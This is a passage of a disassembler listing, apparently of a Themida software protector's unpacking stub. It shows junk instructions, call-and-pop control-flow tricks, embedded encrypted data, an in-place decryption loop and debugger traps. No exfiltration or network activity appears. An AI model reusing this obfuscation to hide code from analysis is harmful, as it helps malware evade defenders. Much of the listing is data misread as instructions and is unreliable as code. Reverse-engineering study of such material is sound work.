		dd 8104245Ch, 17042444h, 43000000h, 0DF07C353h,	0C783021Dh
		dd 50006A28h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 27687332h, 0EE5FE02Dh, 0FD08B1Bh, 7C7F2BFh
		dd 64696A2Eh, 2E198D89h, 47C70614h, 61746104h, 8D0F00h
		dd 8B000000h, 1C64D785h, 7D850906h, 89061412h, 0BF600C47h
		dd 3C4C4911h, 117D9D89h, 8B610614h, 1C64DB85h, 0F28B6606h
		dd 25C5958Bh, 47890614h, 0C783F508h, 9E928h, 68770000h
		dd 7C3DD53Bh, 0C73A2881h, 6F632E07h, 0F1958B6Eh, 0C7061403h
		dd 69660447h, 8BFC0067h, 1C64D385h, 0CE906h, 7D0F0000h
		dd 2E79BF97h, 2062FC87h, 47891CC0h, 0E1952B0Ch,	8B06141Bh
		dd 1C64CF85h, 895A5006h, 6A0847h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 2CF424C3h, 1C18B909h
		dd 8B66F077h, 6E9D0h, 0E2190000h, 18447C2Ah, 50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BF0FCBFEh, 198D8DD6h, 50061430h, 8B240C89h,	1410EDB5h
		dd 41B5FF06h, 81061426h, 18CDF2C2h, 1B066871h, 8DBA3737h
		dd 8177F08Bh, 0B062434h, 95893737h, 61420D5h, 23B5B5FFh
		dd 0B70F0614h, 699531D1h, 0FF061400h, 29B58BD0h, 0B806140Ch
		dd 0
; ---------------------------------------------------------------------------
		mov	[ebp+61416EDh],	edx
		sub	[ebp+6142A1Dh],	ecx
		or	eax, eax
		jz	loc_604780
		push	ebx
		mov	edx, [ebp+6141BF5h]
		pop	esi
		jl	loc_60474C
		mov	[ebp+6140051h],	edi


loc_60474C:				; CODE XREF: Themida_:00604740j
		push	dword ptr [ebp+61407A5h]
		mov	edx, [ebp+6141ECDh]
		call	dword ptr [ebp+6140BD9h]
		push	0
		push	eax
		call	sub_604769
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_604769	proc near		; CODE XREF: Themida_:00604761p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_604769	endp

; ---------------------------------------------------------------------------
		db 26h,	99h, 7Bh
; ---------------------------------------------------------------------------
		sbb	al, 88h
		xchg	eax, edx
		stc


loc_604780:				; CODE XREF: Themida_:00604732j
		mov	eax, eax
		add	esi, 88F2786h
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_60479A
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_6047B3


loc_60479A:				; CODE XREF: Themida_:0060478Fj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 42Dh
		mov	[ebp+61424F1h],	eax
		lea	ebx, [ebp+616A7B9h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_6047B3:				; CODE XREF: Themida_:00604798j
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_6047D3
		push	eax
		push	ebx
		mov	eax, 42Dh
		mov	[ebp+61424F1h],	eax
		lea	ebx, [ebp+616A45Ah]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_6047D3:				; CODE XREF: Themida_:006047BAj
		sbb	dx, 4E3Ah
		mov	edx, ecx
		mov	eax, eax
		mov	si, 6EAFh
		mov	eax, eax
		lea	ecx, [ebp+61C6D24h]
		mov	[ebp+6143165h],	eax
		mov	[ebp+6142B69h],	ecx
		push	0
		push	ecx
		call	sub_6047FF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6047FF	proc near		; CODE XREF: Themida_:006047F7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_6047FF	endp

; ---------------------------------------------------------------------------
		db 3Fh
		dd 68F0F6Bh, 29000000h,	140811BDh, 5585C706h, 0D8061410h
		dd 8900006Fh, 140F1D95h, 3D85C706h, 61401h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 13DBC357h, 0A158503h, 0B5890614h,	6142681h
		dd 7433E3BFh, 11B5FF2Fh, 6A06141Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 3393C355h
		dd 95FFFC62h, 6140BD9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0EBC35040h, 37DB81B2h, 8B6A45F1h, 141DBD9Dh
		dd 0FF006A06h, 14297195h, 0EBC08B06h, 9736FA3Eh, 48DB8A0Eh
		dd 0F1FCCCF3h, 0FE55FDE3h, 0B41A749Bh, 6C5C5793h, 37FF4D79h
		dd 0FE1A8674h, 7AB4E3F2h, 0A312185Fh, 2EBAFC7Fh, 880E05C2h
		dd 3D2F03A4h, 5DAC87DEh, 718E4E7Ah, 8DEA4293h, 1C6E408Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0EF868306h, 0FC003A2Ch, 89D78B66h, 142B698Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 6781F523h, 96ECB945h, 1D9529C4h,	0C706142Ch
		dd 14105585h, 669006h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0BBFB2023h, 85C7D88Bh
		dd 614013Dh, 0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+6140DD9h]
		push	dword ptr [ebp+6140499h]
		sub	si, 22EAh
		call	dword ptr [ebp+6140BD9h]
		push	0
		push	edx
		call	sub_6049B6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6049B6	proc near		; CODE XREF: Themida_:006049AEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_6049B6	endp

; ---------------------------------------------------------------------------
		xor	cl, [ebx-227ADC4Fh]
		or	[esi+eax], dl
		mov	[ebp+6140261h],	ebx
		push	0
		call	dword ptr [ebp+6142971h]
		mov	eax, eax
		jmp	short loc_604A5B
; ---------------------------------------------------------------------------
		db 1Ch,	0C4h, 0EAh
		dd 86CB5AF4h, 0D2BC7067h, 0E794D2B5h, 5B5E47EFh, 0DF58D10Fh
		dd 163113E4h, 5437DFE1h, 59DEF793h, 0BC6D50AAh,	2185E439h
		dd 532D40B9h, 0F07BFDC1h, 67000B12h, 0D614A51Ah, 6DE194C4h
		dd 814EF783h, 56F6D50Ah, 32DC4BF7h, 0B3D0C713h,	0DB1E4C7Fh
		dd 9582EFBCh, 62774E95h, 95B10D9h, 0E3A3A8Eh, 3EC1A277h
		dd 4A628EA1h, 208B0360h, 0E387BBD3h, 7448463Bh
; ---------------------------------------------------------------------------
		sal	edi, 1
		pop	esp


loc_604A5B:				; CODE XREF: Themida_:006049DFj
		call	sub_604A69
		loopne	near ptr loc_604AAB+3
		mov	ebx, ebp
		js	short near ptr loc_604AD7+4
		xchg	ecx, [ebp+4Dh]

; =============== S U B	R O U T	I N E =======================================



sub_604A69	proc near		; CODE XREF: Themida_:loc_604A5Bp
		push	edx
		push	edx
		jz	$+6
		pop	esi
		pop	esi
		pop	edi
		movsx	esi, di
		add	edi, 61CFh
		mov	eax, ecx
		mov	ecx, 0
		sub	[ebp+6140715h],	edi


loc_604A8A:				; CODE XREF: sub_604A69+99j
		mov	ebx, [edi+ecx]
		mov	[ebp+61424D9h],	esi
		xor	ebx, 44ED7340h
		jo	loc_604AAB
		jns	loc_604AAB
		sub	[ebp+614064Dh],	esi


loc_604AAB:				; CODE XREF: sub_604A69+30j
					; sub_604A69+36j ...
		sub	ebx, 647141B8h
		push	esi
		mov	eax, 6AC8C407h
		pop	eax
		sub	ebx, 6622AACBh
		mov	[edi+ecx], ebx
		pusha
		mov	esi, 648772A7h
		mov	[ebp+614073Dh],	ebx
		popa
		sub	ecx, 4
		jbe	loc_604ADD


loc_604AD7:				; CODE XREF: Themida_:00604A64j
		mov	esi, [ebp+6141215h]


loc_604ADD:				; CODE XREF: sub_604A69+68j
		cmp	ecx, 0FFFF9EE8h
		jnz	loc_604AFF
		pusha
		mov	di, cx
		and	ecx, [ebp+6141EA5h]
		popa
		jmp	loc_604B1B
; ---------------------------------------------------------------------------
		mov	[ecx-2955D0E6h], dl


loc_604AFF:				; CODE XREF: sub_604A69+7Aj
		mov	dx, bx
		jmp	loc_604A8A
; ---------------------------------------------------------------------------
		db 92h
		dd 6629F4CFh, 2229982Ah, 9C7E224h, 83D80CB2h
		db 30h,	0D1h, 7Bh
; ---------------------------------------------------------------------------


loc_604B1B:				; CODE XREF: sub_604A69+8Bj
		jmp	short $+2
		jmp	loc_604ECC
; ---------------------------------------------------------------------------
		dw 0E1E1h
		dd 0CCFD6AAEh, 0B7D24DD1h, 9BA936FAh, 84831CE0h, 52860509h
		dd 64A8E5E4h, 53D7CEFBh, 39FDB8D4h, 1DE19CAEh, 9DAC0970h
		dd 1655ECFDh, 8EF282FDh, 38759403h, 7D0E24E6h, 66674DB7h
		dd 5974F337h, 414FD85Ch, 2A59C64Ah, 0F6067F8Ch,	3DAA6E92h
		dd 2459680Eh, 6663FC00h, 507CEB2Fh, 0C2E6A3AEh,	103E4D3Eh
		dd 0EF1A6595h, 1A3E9AB2h, 4A414318h, 34EB87C6h,	0B35049DBh
		dd 61991436h, 85B5F01Eh, 631A28F7h, 1061868h, 0C95CEF48h
		dd 73D755EBh, 5B017EBDh, 818B23A2h, 6BB4D83Ah, 0B1152560h
		dd 3ECFB763h, 26F4314Ah, 3F4FC76Dh, 0D2EAA3A0h,	0E497A976h
		dd 3C4C70D4h, 1E8FB0CFh, 8CA69914h, 99445FDFh, 0AABA6072h
		dd 6C491C3h, 0D0000001h, 5356867h, 3A524F7Ah, 0EF48B3DEh
		dd 53F09240h, 202D4ACh,	4BD063CCh, 0EF5353F0h, 0B9BB0339h
		dd 27ED118Ch, 304F7FC3h, 0C9B9F0Eh, 138B83FAh, 287586F2h
		dd 49DC97AAh, 0D03747CBh, 0C9FB0A61h, 0DABB9D2h, 61112EDBh
		dd 0FC844CC6h, 0F16C9FEDh, 0BF8A2B86h, 3455E58Ah, 8A3A0950h
		dd 2EB955E5h, 0EC68601Dh, 791756C8h, 9222453Eh,	0B74D1580h
		dd 82864FC9h, 0DBD6F58Ah, 0C4B9C857h, 68DB44B7h, 0AC5FDAB7h
		dd 0DAB73003h, 0FBCFB35Fh, 0B8348197h, 0FC93AD9Dh, 0FB0E7636h
		dd 32317E8Dh, 0F65FDA5Bh, 0EC265577h, 1F6CB094h, 45F431ACh
		dd 0DE5FDA5Bh, 5BC0737Ah, 0FF435FDAh, 14608135h, 763691E7h
		dd 7D2C3E93h, 8752E14Eh, 6DD15FDAh, 0F39B04A7h,	7C45F67Bh
		dd 709FE018h, 5F6EF93Dh, 57B22A22h, 92951229h, 0AE41CEB3h
		dd 37FDB0DFh, 1B92B433h, 8BB867E3h, 512AEE12h, 0A38A103h
		dd 0B240891Bh, 6FB3EE1Dh, 1B6180A5h, 5CFF75E0h,	67BCC990h
		dd 0C220AD67h, 6349DC2Dh, 6E90EF1Fh, 1B15FB3Fh,	916814F1h
		dd 0C4CD2A2h, 0C9F58A1Fh, 3CF34A4Bh, 0B1D355E4h, 0EA4536FAh
		dd 0E43CFE4Dh, 1F117555h, 0A11224B1h, 6F3CF6D1h, 0AD1E2E5Dh
		dd 0C5F5B0DEh, 5951AF41h, 25CC74F2h, 9F0E30EFh,	0B0EB1D6Ch
		dd 0E8E33C98h, 0FB399DADh, 97FE1DCBh, 0E3275668h, 0A932A977h
		dd 32358Bh, 8BE30000h, 37DF02FDh, 0DC56550Fh, 7A8819E8h
		dd 6B8F0B03h, 79D7D750h, 106F49DCh, 0F7BB9F4h, 5A6CF30Bh
		dd 33512823h, 0EB0F8683h, 0AB36929h, 39000000h,	1A326967h
		dd 0C4484345h, 3269670Eh, 3201AE19h, 0F653F092h, 0F0929AA9h
		dd 41351953h, 168337FDh, 923B0AABh, 68F753F0h, 0A5162657h
		dd 0F092C978h, 0A2C64A53h, 1C2C1050h, 0F8BDD9AFh, 5D073273h
		dd 0B89C53F0h, 0E2AAC66h, 0E8A82FFh, 517328EAh,	76A5225Ah
		dd 0EAF121Fh, 53F0E637h, 72B3C84Ch, 53F0E6C7h, 0BCC3F85Ch
		dd 97A20391h, 2C53F0E6h, 26120428h, 0F65B8555h,	27C07082h
		dd 5B27625h, 1892EEh, 67180000h, 0C4BFCD65h, 0FA3B50B4h
		dd 53F0924Fh, 2C5C40C4h, 0B67A3153h, 6767D0C2h,	497B0434h
		dd 29253A52h, 4015E6Eh,	0DFEE7189h, 0B6D5AAA2h,	8EBCC3FBh
		dd 6D98E717h, 46471830h, 531F2757h, 0C381E389h,	4, 8704EB83h
		dd 895C241Ch, 7D68240Ch, 8900006Fh, 0C068243Ch,	89000031h
		dd 0BE56240Ch, 773663D0h, 2A0C56BFh, 8BF73171h,	0C4812434h
		dd 4, 240C8B54h, 4C481h, 0BB530000h, 8,	3B89CB01h, 83241C8Bh
		dd 34FF04C4h, 0C4835924h, 2434FF04h, 4C4835Fh, 0F80DB3E9h
		dd 134150FFh
; ---------------------------------------------------------------------------


loc_604ECC:				; CODE XREF: sub_604A69+B4j
		mov	eax, 61C72C7h
		add	eax, ebp
		jmp	eax
sub_604A69	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 85h,	95h, 0E8h
		dd 5E88205Fh, 0C8940D5Eh, 0BB672734h, 10F6B855h, 0BA9C870h
		dd 0EDC8590Ch, 0D5C86C4Eh, 45996406h, 0FEF91C37h, 290E031Bh
		dd 7785E74Bh, 0AF5AD42Ch, 74E8DD54h, 17932341h,	4C00227h
		dd 0E30CF37Dh, 0B23C0E4Eh, 0DAD0E66h, 0D860C306h, 0FB05A768h
		dd 0F6418F52h, 0CF1C9A58h, 0EB2BEC72h, 0DC146939h, 8A12C671h
		dd 41C60D08h, 0D5BDFD2Ah, 8007B55Ch, 0D38B34C0h, 6CAECE81h
		dd 66F94F89h, 0E950FA8Bh, 6, 0AFC6F8Dh,	0F58C9C2h, 58Dh
		dd 0C8805700h, 830F5E43h, 0
; ---------------------------------------------------------------------------
		jmp	loc_604F82
; ---------------------------------------------------------------------------
		db 2Dh,	0EFh, 4Dh
		dd 750B8DA5h
; ---------------------------------------------------------------------------
		test	al, 20h


loc_604F82:				; CODE XREF: Themida_:00604F74j
		and	esi, 6F47557Fh
		mov	esi, ebx
		jmp	loc_604F96
; ---------------------------------------------------------------------------
		db 0E6h
		dd 0A139F3A3h
		db 77h,	0DFh
; ---------------------------------------------------------------------------


loc_604F96:				; CODE XREF: Themida_:00604F8Aj
		push	eax
		pop	edi
		pusha
		pusha
		adc	bl, 23h
		movzx	edx, cx
		popa
		jnz	loc_604FA8
		stc


loc_604FA8:				; CODE XREF: Themida_:00604FA1j
		popa
		and	esi, 224FEF1Dh
		movzx	ebx, di
		mov	edi, 292D8824h
		push	esi
		add	si, 5367h
		pop	edx
		sub	edi, 30C9C238h
		push	ecx
		mov	ch, 91h
		pop	edi
		mov	ecx, 389DFBE2h
		js	loc_604FE7
		jmp	loc_604FE7
; ---------------------------------------------------------------------------
		dd 0C57BD01Fh, 1FC9E027h, 53E8E6B9h
		db 12h,	5Ch, 19h
; ---------------------------------------------------------------------------


loc_604FE7:				; CODE XREF: Themida_:00604FCDj
					; Themida_:00604FD3j
		mov	edi, 19979642h
		mov	bx, 2238h
		sub	dh, 0D0h
		or	cx, 3442h
		adc	si, 0A0F2h
		jmp	loc_60500E
; ---------------------------------------------------------------------------
		dw 41D5h
		dd 0EED12D5Eh, 4C24B435h
		db 8Dh,	4Ch
; ---------------------------------------------------------------------------


loc_60500E:				; CODE XREF: Themida_:00604FFDj
		movzx	ecx, si
		push	ecx
		cmc
		pop	ecx
		movzx	edx, bx
		stc
		jmp	loc_60502F
; ---------------------------------------------------------------------------
		db 6Fh,	3Ch, 0F0h
		dd 0D425C6Dh, 3FEB2641h, 1A8AF75Fh
		db 0EAh, 0Ah, 40h
; ---------------------------------------------------------------------------


loc_60502F:				; CODE XREF: Themida_:00605018j
		jmp	loc_605046
; ---------------------------------------------------------------------------
		dd 19F9E168h, 0A0B5B86Ah, 4FB926EFh, 0FCDF20E7h
		db 1Ah,	0ACh
; ---------------------------------------------------------------------------


loc_605046:				; CODE XREF: Themida_:loc_60502Fj
		movzx	edi, cx
		stc
		pusha
		push	edx
		jmp	loc_605059
; ---------------------------------------------------------------------------
		db 9Ah,	0E8h, 97h
		dd 0FFD95B40h
		db 23h
; ---------------------------------------------------------------------------


loc_605059:				; CODE XREF: Themida_:0060504Cj
		pop	edi
		mov	ecx, 3A8CB849h
		popa
		mov	edi, 7284439Dh
		cld
		call	near ptr loc_605077+3
		inc	esi
		leave
		cmc
		outsd
		mov	ah, 16h
		out	dx, al
		lodsb
		cli
		setalc
		push	edx
		dec	ecx


loc_605077:				; CODE XREF: Themida_:00605066p
		enter	0FFFF9EB0h, 0FCh
		pop	edx
		jmp	loc_60508B
; ---------------------------------------------------------------------------
		and	ds:0BD12099h, bh
		cmp	ecx, ecx
		mov	dh, 0EBh


loc_60508B:				; CODE XREF: Themida_:0060507Cj
		jnp	loc_60509A
		jz	loc_60509A
		movsx	esi, ax


loc_60509A:				; CODE XREF: Themida_:loc_60508Bj
					; Themida_:00605091j
		jmp	loc_6050AC
; ---------------------------------------------------------------------------
		db 48h
		dd 0F08AD536h, 0CFE5FF8Bh, 0DB006F01h
; ---------------------------------------------------------------------------


loc_6050AC:				; CODE XREF: Themida_:loc_60509Aj
		mov	dl, 8
		adc	edx, 609C8DFFh
		mov	ax, cx
		jmp	loc_6050C6
; ---------------------------------------------------------------------------
		dd 0CD5A4E8Eh, 0B7E69E93h
		db 72h,	73h
; ---------------------------------------------------------------------------


loc_6050C6:				; CODE XREF: Themida_:006050B7j
		jnp	loc_6050F8
		call	sub_6050E1
		push	esp
		out	2Fh, eax
		mov	cl, 2Bh
		push	ebp
		pushf
		lea	ebx, [ebp+eax-6C448088h]
		int	3		; Trap to Debugger
		pushf

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_6050E1	proc near		; CODE XREF: Themida_:006050CCp
		jmp	near ptr sub_6050F7
sub_6050E1	endp

; ---------------------------------------------------------------------------
		dw 0D3AEh
		dd 0EF497369h, 0B06A41E9h, 1A435200h
		db 89h,	0F9h, 31h

; =============== S U B	R O U T	I N E =======================================



sub_6050F7	proc far		; CODE XREF: sub_6050E1j
		pop	edi


loc_6050F8:				; CODE XREF: Themida_:loc_6050C6j
		jle	loc_6050FF
		cmc


loc_6050FF:				; CODE XREF: sub_6050F7:loc_6050F8j
		mov	eax, edx
		cld
		and	bx, 0B790h
		sub	edx, 7394355h
		mov	dh, 67h
		jmp	loc_605127
; ---------------------------------------------------------------------------
		dd 6D2E3F74h, 0E152FE7Ah, 7559F343h, 8108BAAEh
		db 3Ch,	82h, 14h
; ---------------------------------------------------------------------------


loc_605127:				; CODE XREF: sub_6050F7+18j
					; Themida_:00605186j
		xor	al, 59h
		mov	dl, ch
		mov	esi, 2FB06D52h
		mov	si, 421Dh
		pusha
		jmp	loc_605143
; ---------------------------------------------------------------------------
		db 60h
		dd 0FF689B12h
; ---------------------------------------------------------------------------
		clc
		retf
; ---------------------------------------------------------------------------
		db 6Ch
; ---------------------------------------------------------------------------


loc_605143:				; CODE XREF: sub_6050F7+3Fj
		mov	si, 0E8DDh
		popa
		jmp	loc_605155
; ---------------------------------------------------------------------------
		db 0AEh, 0E8h, 6Bh
; ---------------------------------------------------------------------------
		sbb	edi, ebp
		pop	ebp
		inc	ecx
		xchg	eax, esi


loc_605155:				; CODE XREF: sub_6050F7+51j
		mov	ecx, 2907F3ACh
		mov	al, bl
		mov	ax, bx
		jmp	loc_60516E
; ---------------------------------------------------------------------------
		dd 0A4A5EA37h, 3BA9904Eh
		db 0E4h, 6Fh
; ---------------------------------------------------------------------------


loc_60516E:				; CODE XREF: sub_6050F7+68j
		push	esi
		call	near ptr loc_60517B+1
		and	dword ptr [ebp-60h], 2D71E0FFh


loc_60517B:				; CODE XREF: sub_6050F7+78p
		cmp	dh, [esi-16A4A7FAh]
sub_6050F7	endp ; sp-analysis failed

		or	eax, 9000000h
		jge	short near ptr loc_605127+2
		adc	edi, [edi+ebx+32h]
		test	[ecx-23218F87h], bl
		movzx	eax, di
		mov	edx, 0A7DE9EBh
		push	eax
		mov	esi, eax
		pop	edi
		mov	edx, esi
		mov	ah, 31h
		mov	esi, 25AC73EAh
		cld
		jmp	loc_6051B7
; ---------------------------------------------------------------------------
		db 6Eh,	93h, 31h
		dd 11D53796h
		db 93h,	0E2h, 0ACh
; ---------------------------------------------------------------------------


loc_6051B7:				; CODE XREF: Themida_:006051A8j
		movzx	ebx, bx
		mov	ch, dh
		mov	edx, 3A361E74h
		or	cx, 9EFBh
		cmc
		mov	bx, 0EF4Dh
		pusha
		mov	esi, edi
		ja	loc_6051D6
		mov	dl, bh


loc_6051D6:				; CODE XREF: Themida_:006051CEj
		popa
		adc	si, 929Ch
		or	edi, 7291F44Ch
		pusha
		mov	di, cx
		popa
		mov	cx, ax
		push	edx
		xor	bl, 34h
		pop	edi
		pusha
		pusha
		clc
		mov	esi, eax
		popa
		clc
		popa
		jmp	loc_605210
; ---------------------------------------------------------------------------
		dd 3C91721Dh, 2623E1B2h, 0E3508015h, 38DA82D2h,	5369F3D3h
; ---------------------------------------------------------------------------


loc_605210:				; CODE XREF: Themida_:006051F7j
		mov	bl, ch
		mov	eax, 22C2894Ch
		jmp	loc_605223
; ---------------------------------------------------------------------------
		dd 7E9124A7h
		db 0E9h, 0C2h, 0A6h
; ---------------------------------------------------------------------------


loc_605223:				; CODE XREF: Themida_:00605217j
		mov	bx, 0EC96h
		mov	eax, 9761883h
		and	ebx, 66D82EDDh
		or	ebx, 74CFEBB0h
		mov	al, dh
		jb	loc_605246
		sub	esi, 11D4002Eh


loc_605246:				; CODE XREF: Themida_:0060523Aj
		movsx	eax, bx
		jge	loc_605267
		call	sub_605264
; ---------------------------------------------------------------------------
		dd 0F4FC21FEh, 0B34C82C4h, 1577A7BBh, 97581967h

; =============== S U B	R O U T	I N E =======================================



sub_605264	proc near		; CODE XREF: Themida_:0060524Fp
		mov	ebx, ecx
		pop	ecx


loc_605267:				; CODE XREF: Themida_:00605249j
		movsx	edi, cx
		mov	ax, 0D382h
		mov	si, 0B47Bh
		push	ebx
		mov	ecx, 3F69CE83h
		pop	edx
		mov	di, si
		jnp	loc_605284
		mov	cl, 0D9h


loc_605284:				; CODE XREF: sub_605264+18j
		jmp	loc_605291
; ---------------------------------------------------------------------------
		db 5Ah,	30h, 0EEh
		dd 149E1166h
		db 31h
; ---------------------------------------------------------------------------


loc_605291:				; CODE XREF: sub_605264:loc_605284j
		sbb	eax, 722B246Fh
		pusha
		xor	di, 0EB6Ch
		mov	ax, bx
		popa
		mov	ebx, 3011C062h
		jnb	loc_6052AD
		clc


loc_6052AD:				; CODE XREF: sub_605264+42j
		mov	ebx, edi
		pusha
		jz	loc_6052B8
		mov	bl, 0Ch


loc_6052B8:				; CODE XREF: sub_605264+4Cj
		jmp	loc_6052C8
; ---------------------------------------------------------------------------
		adc	eax, 2C6585B0h
		push	0C3A44896h
		cmc


loc_6052C8:				; CODE XREF: sub_605264:loc_6052B8j
		popa
		jmp	loc_6052D8
; ---------------------------------------------------------------------------
		leave
		or	ch, [ebp-22h]
		mov	bh, 5Ah
		sub	al, 77h
		add	[ebx], dl


loc_6052D8:				; CODE XREF: sub_605264+65j
		mov	bx, 2D7Fh
		ja	loc_6052EB
		jp	loc_6052EB
		and	bl, 82h


loc_6052EB:				; CODE XREF: sub_605264+78j
					; sub_605264+7Ej
		adc	eax, 22CF4523h
		cld
		mov	ecx, 45AE66E5h
		cmc
		jo	loc_605302
		mov	cx, 3A07h


loc_605302:				; CODE XREF: sub_605264+94j
		jmp	loc_605315
; ---------------------------------------------------------------------------
		db 40h
		dd 3EBF265Dh, 0AB6C4697h, 7C0A5E94h
; ---------------------------------------------------------------------------
		movsb


loc_605315:				; CODE XREF: sub_605264:loc_605302j
		cld
		mov	dx, 0F56Fh
		call	near ptr loc_60532C+1
		mov	edx, [esi+72h]
		fsubr	qword ptr [ebx]
		push	ss
		imul	edi, ecx, 33h
		pusha
		push	edx
		arpl	[esi], sp


loc_60532C:				; CODE XREF: sub_605264+B6p
		aad	0Fh
sub_605264	endp ; sp-analysis failed

		lea	eax, [eax+eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 66h
; ---------------------------------------------------------------------------
		mov	eax, 0B05FEB68h
		aas
		mov	bh, 0BAh
		pusha
		call	sub_605352
		stosb
		cmp	bl, [esi+4039A0CFh]
		lodsd
		test	[eax], edx
		push	edi
		adc	ebx, edx
		dec	edi
		jle	short near ptr loc_60536F+2

; =============== S U B	R O U T	I N E =======================================



sub_605352	proc near		; CODE XREF: Themida_:0060533Dp
		mov	eax, ecx
		pop	edi
		clc
		popa
		mov	edi, eax
		clc
		jmp	loc_60536D
; ---------------------------------------------------------------------------
		db 0E4h
		dd 0D79534B5h, 86C7198Ch, 0D4FBDB3Bh
		db 1
; ---------------------------------------------------------------------------


loc_60536D:				; CODE XREF: sub_605352+8j
		mov	ah, dh


loc_60536F:				; CODE XREF: Themida_:00605350j
		mov	cx, 0EED1h
		mov	eax, 0AF936DBh
		jmp	loc_605387
; ---------------------------------------------------------------------------
		xchg	edi, [ebp+5Fh]
		movsd
		mov	dword ptr [edx], 8AA1622Fh


loc_605387:				; CODE XREF: sub_605352+26j
		jmp	loc_60539C
; ---------------------------------------------------------------------------
		dd 1E4990AEh, 0CD4A818Eh, 33359783h, 0C6E63F7Ch
; ---------------------------------------------------------------------------


loc_60539C:				; CODE XREF: sub_605352:loc_605387j
		push	eax
		call	sub_6053B5
		faddp	st(2), st
		push	ebp
		sub	eax, 0C163A3D6h
		in	eax, dx
		push	esp
		xor	[ecx], edx
		aaa
		db	66h
		sbb	[ebx-68h], al
		test	al, 0CDh
sub_605352	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6053B5	proc near		; CODE XREF: sub_605352+4Bp
		mov	bx, 0B2D8h
		pop	ecx
		pop	edx
		or	bx, 0AED6h
		pusha
		mov	edi, eax
		popa
		movsx	edi, dx
		mov	ch, ah
		jno	loc_6053D4
		mov	eax, 31F8CE1h


loc_6053D4:				; CODE XREF: sub_6053B5+14j
		movzx	edx, bx
		mov	edi, 17DEFDD3h
		movsx	edi, dx
		pusha
		mov	eax, 257E233Ah
		mov	si, cx
		popa
		and	ebx, 57A80C42h
		jl	loc_6053FA
		mov	edi, 21A97167h


loc_6053FA:				; CODE XREF: sub_6053B5+3Aj
		call	near ptr loc_605404+1
		in	eax, 0E1h
		int	3		; Trap to Debugger
		push	0FFFFFF9Dh


loc_605404:				; CODE XREF: sub_6053B5:loc_6053FAp
		lock pusha
sub_6053B5	endp ; sp-analysis failed

		push	ecx
		pop	edx
		jbe	$+6
		popa
		pop	eax
		jmp	loc_60541F	; CODE XREF: Themida_:0060545Fj
; ---------------------------------------------------------------------------
		db 1Eh,	0E2h, 0C9h
; ---------------------------------------------------------------------------
		or	[ebp+ebp*4-77h], edi


loc_60541C:				; CODE XREF: Themida_:0060545Dj
		dec	edx
		inc	ebp
; ---------------------------------------------------------------------------
		db 2Eh
; ---------------------------------------------------------------------------


loc_60541F:				; CODE XREF: Themida_:00605410j
		pusha
		xor	cx, 6B22h
		pusha
		mov	ebx, edi
		popa
		popa
		sub	dl, 0FCh
		xor	bl, 3Dh
		cld
		mov	edx, ecx
		call	near ptr loc_60543D+1
		sti
		jp	short loc_6054B7
		mov	ah, 0ADh


loc_60543D:				; CODE XREF: Themida_:00605433p
		mov	cl, 0Fh
		mov	bh, 0F0h
		pop	ecx
		mov	esi, 249AA78Ah
		mov	cx, di
		sbb	ax, 0D5BEh
		sbb	cx, 52h
		call	near ptr loc_605461+1
		xchg	eax, edi
		cld
		xchg	eax, edx
		out	dx, al
		jo	short loc_60541C
		jnp	short near ptr loc_605410+1


loc_605461:				; CODE XREF: Themida_:00605454p
		or	ecx, [edi]
		xchg	al, [eax]
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 8B66F95Ah, 13E8F0h, 10A50000h, 0A9071F37h, 293350F0h
		dd 0FBB30C7Bh, 0E9B35A4Ch, 0B5C2BE2Dh, 0B7585127h, 8FC38001h
		dd 0F2BF0FF9h, 13E834B3h, 68000000h, 8E516FD8h,	8A521152h
		dd 7B0FA517h, 0FAAAABFAh, 0C881BA24h, 758957A9h
		db 59h,	60h, 0Fh
; ---------------------------------------------------------------------------


loc_6054B7:				; CODE XREF: Themida_:00605439j
		mov	bh, 0F1h
		sbb	edx, 25F6F776h
		popa
		mov	eax, 77B59ABBh
		mov	esi, 17170AADh
		cmc
		mov	cx, dx
		mov	dh, 60h
		and	bh, 5Ch
		jmp	loc_6054E3
; ---------------------------------------------------------------------------
		pop	ss
		xor	[edx+3Dh], esi
		and	esp, [edx]
		db	66h
		fxch4	st(5)
		int	3		; Trap to Debugger
		push	ss


loc_6054E3:				; CODE XREF: Themida_:006054D3j
		pusha
		movzx	ecx, bx
		popa
		jmp	loc_6054FE
; ---------------------------------------------------------------------------
		db 33h,	75h, 40h
		dd 4EC84789h, 870A0B2Ch, 65344558h
